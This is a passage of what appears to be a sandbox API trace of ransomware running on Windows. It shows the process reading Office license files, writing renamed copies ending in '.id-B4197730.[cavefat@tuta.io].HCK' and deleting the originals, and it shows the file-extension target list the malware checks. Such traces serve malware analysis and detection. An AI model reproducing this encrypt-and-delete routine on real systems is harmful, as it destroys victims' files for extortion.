returned 4 [0239.886] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0239.886] lstrlenW (lpString=".jpg") returned 4 [0239.886] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.886] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0239.886] lstrlenW (lpString="HomeStudentR_Retail-ppd.xrm-ms") returned 30 [0239.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0239.966] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=21604) returned 1 [0239.966] CloseHandle (hObject=0x4a4) returned 1 [0239.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 0x220 [0240.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.324] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.324] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0240.325] GetLastError () returned 0x0 [0240.325] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x5464, lpOverlapped=0x0) returned 1 [0240.328] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x5470, lpOverlapped=0x0) returned 1 [0240.329] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.329] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x110, lpOverlapped=0x0) returned 1 [0240.329] SetEndOfFile (hFile=0x4b4) returned 1 [0240.329] CloseHandle (hObject=0x4b4) returned 1 [0240.329] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.329] SetEndOfFile (hFile=0x534) returned 1 [0240.331] CloseHandle (hObject=0x534) returned 1 [0240.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 1 [0240.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0240.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0240.333] lstrlenW (lpString=".doc") returned 4 [0240.333] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.333] lstrlenW (lpString=".docx") returned 5 [0240.333] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.333] lstrlenW (lpString=".pdf") returned 4 [0240.333] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.333] lstrlenW (lpString=".xls") returned 4 [0240.333] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.333] lstrlenW (lpString=".xlsx") returned 5 [0240.333] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.333] lstrlenW (lpString=".ppt") returned 4 [0240.333] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0240.333] lstrlenW (lpString=".zip") returned 4 [0240.333] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.333] lstrlenW (lpString=".rar") returned 4 [0240.333] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.333] lstrlenW (lpString=".bz2") returned 4 [0240.333] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.333] lstrlenW (lpString=".7z") returned 3 [0240.333] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0240.333] lstrlenW (lpString=".dbf") returned 4 [0240.333] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0240.333] lstrlenW (lpString=".1cd") returned 4 [0240.333] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0240.333] lstrlenW (lpString=".jpg") returned 4 [0240.333] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0240.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0240.334] lstrlenW (lpString=".doc") returned 4 [0240.334] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.334] lstrlenW (lpString=".docx") returned 5 [0240.334] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.334] lstrlenW (lpString=".pdf") returned 4 [0240.334] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.334] lstrlenW (lpString=".xls") returned 4 [0240.334] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.334] lstrlenW (lpString=".xlsx") returned 5 [0240.334] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.334] lstrlenW (lpString=".ppt") returned 4 [0240.334] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0240.334] lstrlenW (lpString=".zip") returned 4 [0240.334] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.334] lstrlenW (lpString=".rar") returned 4 [0240.334] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.334] lstrlenW (lpString=".bz2") returned 4 [0240.334] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.334] lstrlenW (lpString=".7z") returned 3 [0240.334] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0240.334] lstrlenW (lpString=".dbf") returned 4 [0240.334] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0240.334] lstrlenW (lpString=".1cd") returned 4 [0240.334] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0240.334] lstrlenW (lpString=".jpg") returned 4 [0240.334] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.334] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0240.334] lstrlenW (lpString="HomeStudentR_Retail-ul-phn.xrm-ms") returned 33 [0240.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.336] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=19949) returned 1 [0240.336] CloseHandle (hObject=0x534) returned 1 [0240.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 0x220 [0240.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.336] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.336] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0240.337] GetLastError () returned 0x0 [0240.337] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x4ded, lpOverlapped=0x0) returned 1 [0240.340] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4df0, lpOverlapped=0x0) returned 1 [0240.340] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.340] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x116, lpOverlapped=0x0) returned 1 [0240.341] SetEndOfFile (hFile=0x4b4) returned 1 [0240.341] CloseHandle (hObject=0x4b4) returned 1 [0240.341] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.341] SetEndOfFile (hFile=0x534) returned 1 [0240.344] CloseHandle (hObject=0x534) returned 1 [0240.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 1 [0240.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0240.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0240.346] lstrlenW (lpString=".doc") returned 4 [0240.346] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.346] lstrlenW (lpString=".docx") returned 5 [0240.346] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.346] lstrlenW (lpString=".pdf") returned 4 [0240.346] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.346] lstrlenW (lpString=".xls") returned 4 [0240.346] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.346] lstrlenW (lpString=".xlsx") returned 5 [0240.346] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.346] lstrlenW (lpString=".ppt") returned 4 [0240.346] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0240.346] lstrlenW (lpString=".zip") returned 4 [0240.346] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.346] lstrlenW (lpString=".rar") returned 4 [0240.346] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.346] lstrlenW (lpString=".bz2") returned 4 [0240.346] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.346] lstrlenW (lpString=".7z") returned 3 [0240.346] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0240.346] lstrlenW (lpString=".dbf") returned 4 [0240.346] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0240.346] lstrlenW (lpString=".1cd") returned 4 [0240.346] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0240.346] lstrlenW (lpString=".jpg") returned 4 [0240.346] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0240.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0240.346] lstrlenW (lpString=".doc") returned 4 [0240.346] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.346] lstrlenW (lpString=".docx") returned 5 [0240.346] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.346] lstrlenW (lpString=".pdf") returned 4 [0240.347] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.347] lstrlenW (lpString=".xls") returned 4 [0240.347] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.347] lstrlenW (lpString=".xlsx") returned 5 [0240.347] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.347] lstrlenW (lpString=".ppt") returned 4 [0240.347] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0240.347] lstrlenW (lpString=".zip") returned 4 [0240.347] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.347] lstrlenW (lpString=".rar") returned 4 [0240.347] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.347] lstrlenW (lpString=".bz2") returned 4 [0240.347] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.347] lstrlenW (lpString=".7z") returned 3 [0240.347] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0240.347] lstrlenW (lpString=".dbf") returned 4 [0240.347] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0240.347] lstrlenW (lpString=".1cd") returned 4 [0240.347] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0240.347] lstrlenW (lpString=".jpg") returned 4 [0240.347] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.347] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0240.347] lstrlenW (lpString="HomeStudentR_Trial-pl.xrm-ms") returned 28 [0240.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.350] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11163) returned 1 [0240.350] CloseHandle (hObject=0x534) returned 1 [0240.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 0x220 [0240.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.351] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.351] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0240.352] GetLastError () returned 0x0 [0240.352] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2b9b, lpOverlapped=0x0) returned 1 [0240.353] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0240.354] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.354] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x10c, lpOverlapped=0x0) returned 1 [0240.354] SetEndOfFile (hFile=0x4b4) returned 1 [0240.355] CloseHandle (hObject=0x4b4) returned 1 [0240.355] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.355] SetEndOfFile (hFile=0x534) returned 1 [0240.584] CloseHandle (hObject=0x534) returned 1 [0240.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.586] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 1 [0240.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0240.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0240.588] lstrlenW (lpString=".doc") returned 4 [0240.588] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.588] lstrlenW (lpString=".docx") returned 5 [0240.588] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.588] lstrlenW (lpString=".pdf") returned 4 [0240.588] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.588] lstrlenW (lpString=".xls") returned 4 [0240.588] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.588] lstrlenW (lpString=".xlsx") returned 5 [0240.588] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.588] lstrlenW (lpString=".ppt") returned 4 [0240.588] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0240.588] lstrlenW (lpString=".zip") returned 4 [0240.588] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.588] lstrlenW (lpString=".rar") returned 4 [0240.588] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.588] lstrlenW (lpString=".bz2") returned 4 [0240.588] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.588] lstrlenW (lpString=".7z") returned 3 [0240.588] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0240.588] lstrlenW (lpString=".dbf") returned 4 [0240.588] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0240.588] lstrlenW (lpString=".1cd") returned 4 [0240.588] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0240.588] lstrlenW (lpString=".jpg") returned 4 [0240.588] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0240.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0240.588] lstrlenW (lpString=".doc") returned 4 [0240.588] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.588] lstrlenW (lpString=".docx") returned 5 [0240.588] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.588] lstrlenW (lpString=".pdf") returned 4 [0240.588] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.588] lstrlenW (lpString=".xls") returned 4 [0240.588] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.588] lstrlenW (lpString=".xlsx") returned 5 [0240.588] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.588] lstrlenW (lpString=".ppt") returned 4 [0240.589] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0240.589] lstrlenW (lpString=".zip") returned 4 [0240.589] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.589] lstrlenW (lpString=".rar") returned 4 [0240.589] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.589] lstrlenW (lpString=".bz2") returned 4 [0240.589] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.589] lstrlenW (lpString=".7z") returned 3 [0240.589] lstrcmpiW (lpString1=".7z", 